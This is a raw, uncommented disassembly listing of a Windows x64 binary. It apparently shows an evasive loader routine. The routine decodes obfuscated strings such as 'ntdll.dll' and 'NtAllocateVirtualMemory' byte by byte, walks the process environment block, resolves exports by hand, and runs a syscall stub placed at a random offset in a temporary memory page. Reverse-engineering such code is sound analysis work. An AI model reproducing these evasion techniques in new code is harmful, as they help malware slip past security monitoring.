lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x124], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x6c
lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x125], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x126], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x64
lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x127], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x6c
lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x128], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x120]
call fcn.14002e000
mov byte [rbp + 0x129], al
xor eax, eax
mov byte [rbp + 0x12a], al
mov r8, r15
mov r9d, edi
lea r10d, [rdi - 8]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x120]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x120]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x121], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14001adde
mov byte [rbp + 0x12a], r15b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001b185
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x30], rax
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x80], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14001aed5
lea r11d, [rax + 1]
mov r8d, r11d
mov rbx, qword [rbp - 0x80]
mov ecx, r8d
cmp word [rbx + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [rbx + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14001aeaf
mov ebx, reloc.WS2_32.dll_recvfrom
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r15d, r15d
mov byte [rdi + rcx], r15b
movzx edi, r15b
cmp qword [rbp - 0x80], r15
je 0x14001af2f
mov rax, rcx
lea r9, [rbp + 0x121]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001af28
add rax, r10
test edx, edx
jne 0x14001af13
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x14001b0ef
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rsp + 0x70]
jne 0x14001ae77
jmp 0x14001b185
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
xor r15d, r15d
add rdx, rcx
je 0x14001aa0d
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
lea ecx, [r15 + 1]
cmp eax, ecx
jl 0x14001aa0d
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r15 + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0xd444], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xc0c0]
call fcn.14002ef44
lea rcx, [rbp + 0xc0c0]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov r14d, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0xc0c0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + r14*8 + 0x46540], rax
add r14, r12
cmp r14, 0x200
jl 0x14001aff7
mov r12d, 0x1000
mov r8d, r12d
lea rdx, [rbp + 0x46540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xef0], eax
lea r9, [rbp + 0xef0]
lea r14d, [rax + 0x20]
mov r8d, r14d
mov edx, r12d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [r14 - 8]
lea r8, [rbp + 0xfb8]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp + 0xea0]
call rdi
mov dword [rbp - 0x60], eax
lea r9, [rbp + 0xef0]
mov r8d, dword [rbp + 0xef0]
mov edx, r12d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, r15
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r15d, r15d
mov dword [0x1400dd364], r15d
lea r12d, [r14 - 0x10]
jmp 0x14001aa11
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001b185
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001b185
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001b185
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001b185
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14001b182
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6b1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001b16f
inc rax
test edi, edi
jne 0x14001b15a
test r8d, r8d
je 0x14001b6bf
inc rdx
cmp rdx, qword [rsp + 0x60]
jb 0x14001b149
xor r15d, r15d
mov edi, r15d
mov ecx, 1
cmp dword [rbp - 0x60], r15d
jl 0x14002ca42
test edi, edi
js 0x14002ca42
mov r15, qword [rbp - 0x58]
mov eax, dword [r15 + 0x50]
mov rcx, qword [rbp + 0xd60]
mov qword [rbp + 0xea0], rcx
xor edi, edi
mov qword [rbp + 0xdc0], rdi
mov qword [rbp + 0xf98], rax
mov byte [rbp + 0x750], select
mov r9, r13
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x751], al
mov r9, r13
lea r8d, [rdi + 1]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x752], al
mov r9, r13
lea r8d, [rdi + 2]
mov dl, 0x41
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x753], al
mov r9, r13
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x754], al
mov r9, r13
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x755], al
mov r9, r13
lea r8d, [rdi + 5]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x756], al
mov r9, r13
lea r8d, [rdi + 6]
mov dl, 0x63
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x757], al
mov r9, r13
lea r8d, [rdi + 7]
mov dl, 0x61
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x758], al
mov r9, r13
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x759], al
mov r9, r13
lea r8d, [rdi + 9]
mov dl, 0x65
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x75a], al
mov r9, r13
lea r8d, [rdi + 0xa]
mov dl, 0x56
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x75b], al
mov r9, r13
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x75c], al
mov r9, r13
lea r8d, [rdi + 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x75d], al
mov r9, r13
lea r8d, [rdi + 0xd]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x75e], al
mov r9, r13
lea r8d, [rdi + 0xe]
mov dl, 0x75
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x75f], al
mov r9, r13
lea r8d, [rdi + 0xf]
mov dl, 0x61
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x760], al
mov r9, r13
mov r8, r12
mov dl, 0x6c
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x761], al
mov r9, r13
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x762], al
mov r9, r13
lea r8d, [rdi + 0x12]
mov dl, 0x65
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x763], al
mov r9, r13
lea r8d, [rdi + 0x13]
mov dl, 0x6d
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x764], al
mov r9, r13
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x765], al
mov r9, r13
lea r8d, [rdi + 0x15]
mov dl, WSAStartup
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x766], al
mov r9, r13
lea r8d, [rdi + 0x16]
mov dl, 0x79
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + 0x767], al
xor eax, eax
mov byte [rbp + 0x768], al
lea ebx, [rdi + 1]
mov r9, r13
mov r8, rdi
mov dl, byte [rbp + rdi + 0x751]
lea rcx, [rbp + 0x750]
call fcn.14002e8e4
mov byte [rbp + rdi + 0x751], al
add rdi, rbx
cmp rdi, r13
jb 0x14001b440
xor edi, edi
mov byte [rbp + 0x768], dil
mov byte [rbp + 0x110], 0x40
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x111], al
mov r9d, ebx
lea r15d, [rdi + 1]
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x112], al
mov r9d, ebx
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x113], al
mov r9d, ebx
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x114], al
mov r9d, ebx
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x115], al
mov r9d, ebx
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x116], al
mov r9d, ebx
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x117], al
mov r9d, ebx
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x118], al
mov r9d, ebx
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + 0x119], al
xor eax, eax
mov byte [rbp + 0x11a], al
lea ebx, [rdi + 0x11]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x111]
lea rcx, [rbp + 0x110]
call fcn.14002e000
mov byte [rbp + rdi + 0x111], al
add rdi, r15
cmp rdi, 9
jb 0x14001b57b
xor r11d, r11d
mov byte [rbp + 0x11a], r11b
mov rax, qword gs:[0x60]
test rax, rax
mov r15, qword [rbp - 0x58]
je 0x14001baab
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x30], rax
xor r15d, r15d
mov rax, qword [rax + 0x40]
mov qword [rbp - 0x80], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14001b63c
lea r11d, [rax + 1]
mov r8d, r11d
mov r14, qword [rbp - 0x80]
mov ecx, r8d
cmp word [r14 + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [r14 + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14001b613
mov r14d, reloc.WLDAP32.dll_Ordinal_32
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rsp + 0x60]
xor r15d, r15d
mov byte [rdi + rcx], r15b
movzx edi, r15b
cmp qword [rbp - 0x80], r15
je 0x14001b696
mov rax, rcx
lea r9, [rbp + 0x111]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001b68f
add rax, r10
test edx, edx
jne 0x14001b67a
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x14001b869
mov rax, qword [rbp - 0x30]
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
cmp rax, qword [rsp + 0x70]
jne 0x14001b5db
jmp 0x14001baa7
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
xor r15d, r15d
add rdx, rcx
je 0x14001b185
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
lea ecx, [r15 + 1]
cmp eax, ecx
jl 0x14001b861
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r15 + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0xe7d4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xd450]
call fcn.14002ef44
lea rcx, [rbp + 0xd450]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov r12d, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0xd450]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + r12*8 + 0x29540], rax
add r12, r14
cmp r12, 0x200
jl 0x14001b75e
mov r8d, 0x1000
lea rdx, [rbp + 0x29540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor r12d, r12d
mov dword [rbp + 0xeec], r12d
lea r9, [rbp + 0xeec]
lea r14d, [r12 + 0x20]
mov r8d, r14d
mov edx, 0x1000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rbp - 0x50]
add rdx, 0x18
mov qword [rsp + 0x20], r12
mov r9d, 0x105
lea r8, [rbp + 0x28320]
mov rcx, qword [rbp + 0xea0]
call rdi
mov edi, eax
lea r9, [rbp + 0xeec]
mov r8d, dword [rbp + 0xeec]
mov r12d, 0x1000
mov edx, r12d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, r15
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r15d, r15d
mov dword [0x1400dd364], r15d
lea r12d, [r14 - 0x10]
jmp 0x14001b188
mov edi, r15d
jmp 0x14001b18d
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001baa7
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001baa7
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001baa7
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001baa7
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edi, edi
mov edx, edi
mov eax, dword [rax + 0x18]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14001baa7
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x751]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001b8f9
inc rax
test edi, edi
jne 0x14001b8e4
test r8d, r8d
je 0x14001b90d
inc rdx
cmp rdx, qword [rsp + 0x60]
jb 0x14001b8d3
jmp 0x14001baa7
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001baa7
mov eax, dword [rdx + 4]
mov dword [rsp + 0x68], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001baa7
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0xfb64], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xe7e0]
call fcn.14002ef44
lea rcx, [rbp + 0xe7e0]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0xe7e0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x2a540], rax
add rsi, r12
cmp rsi, 0x200
jl 0x14001b9a9
mov r12d, 0x1000
mov r8d, r12d
lea rdx, [rbp + 0x2a540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x68]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor esi, esi
mov dword [rbp + 0xee8], esi
lea r9, [rbp + 0xee8]
mov r8d, r14d
mov edx, r12d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xf98]
lea r8d, [rsi + 3]
lea rdx, [rbp + 0xdc0]
mov rcx, qword [rbp + 0xea0]
call rdi
mov edi, eax
lea r9, [rbp + 0xee8]
mov r8d, dword [rbp + 0xee8]
mov edx, r12d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r12d
xor edx, edx
mov rcx, r15
call fcn.1400b4da0
lea edx, [rsi + 0xb]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x1400dd364], esi
test edi, edi
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi - 4]
js 0x14001bac2
mov r15, qword [rbp - 0x58]
mov r11, qword [rbp + 0xdc0]
mov qword [rbp + 0xea0], r11
test r11, r11
jne 0x14001bfe0
mov word [rbp + 0x820], 0x4a5d
mov byte [rbp + 0x822], 0xef
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x823], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x824], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x825], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x826], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x827], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x828], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x829], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x82a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x82b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x82c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x82d], al
mov r9, rbx
mov r13d, reloc.WS2_32.dll_listen
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x82e], al
mov r9, rbx
lea r8d, [r13 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x82f], al
mov r9, rbx
lea r8d, [r13 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x830], al
mov r9, rbx
mov r8, r12
mov dl, 0x65
lea rcx, [rbp + 0x820]
call fcn.14002e0f0
mov byte [rbp + 0x831], al
xor eax, eax
mov byte [rbp + 0x832], al
mov r8d, eax
mov r9, rbx
lea r10d, [r13 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x820]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x820]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x821], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x14001bc9e
xor edi, edi
mov byte [rbp + 0x832], dil
mov word [rbp + 0x908], 0xb944
mov byte [rbp + 0x90a], 0xb8
lea r15d, [rdi + 0x15]
mov r9d, r15d
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x90b], al
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x90c], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x90d], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x90e], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, r14b
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x90f], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x910], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x911], al
mov r9d, r15d
lea r8d, [rdi + 9]
mov dl, r14b
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x912], al
mov r9d, r15d
lea r8d, [rdi + 0xa]
mov dl, 0x53
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x913], al
mov r9d, r15d
lea r8d, [rdi + 0xb]
mov dl, 0x65
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x914], al
mov r9d, r15d
lea r8d, [rdi + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x915], al
mov r9d, r15d
mov r8, r13
mov dl, 0x75
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x916], al
mov r9d, r15d
lea r8d, [rdi + 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x917], al
mov r9d, r15d
lea r8d, [rdi + 0xf]
mov dl, r14b
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x918], al
mov r9d, r15d
mov r8, r12
mov dl, 0x49
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x919], al
mov r9d, r15d
mov r8, rbx
mov dl, 0x6d
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x91a], al
mov r9d, r15d
lea r8d, [rdi + 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x91b], al
mov r9d, r15d
lea r8d, [rdi + 0x13]
mov dl, 0x67
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x91c], al
mov r9d, r15d
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x908]
call fcn.14002e1e0
mov byte [rbp + 0x91d], al
xor eax, eax
mov byte [rbp + 0x91e], al
mov r8d, edi
mov r9d, r15d
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x908]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x908]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x909], dil
add r8, rbx
add r9, r15
cmp r9, 0x1ce
jb 0x14001bf47
xor eax, eax
mov byte [rbp + 0x91e], al
xor r9d, r9d
lea r8, [rbp + 0x821]
lea rdx, [rbp + 0x909]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.140093e48
int3
mov rax, qword [rbp + 0xd60]
mov qword [rbp - 0x40], rax
mov edi, dword [r15 + 0x90]
movzx edx, word [r15 + 0x14]
add rdx, 0x18
add rdx, r15
movzx eax, word [r15 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x14001c023
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x14001c01f
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x14001c08f
add rdx, 0x28
cmp rdx, r8
jb 0x14001c00d
xor eax, eax
mov r10d, eax
mov qword [rbp - 0x30], r10
test edi, edi
je 0x14002683f
cmp dword [r15 + 0x94], eax
je 0x14002683f
mov r8d, dword [r10 + 0xc]
movzx edx, word [r15 + 0x14]
add rdx, 0x18
add rdx, r15
mov rdi, rdx
movzx eax, word [r15 + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x140026838
mov ecx, dword [rdi + 0xc]
cmp r8, rcx
jb 0x14001c081
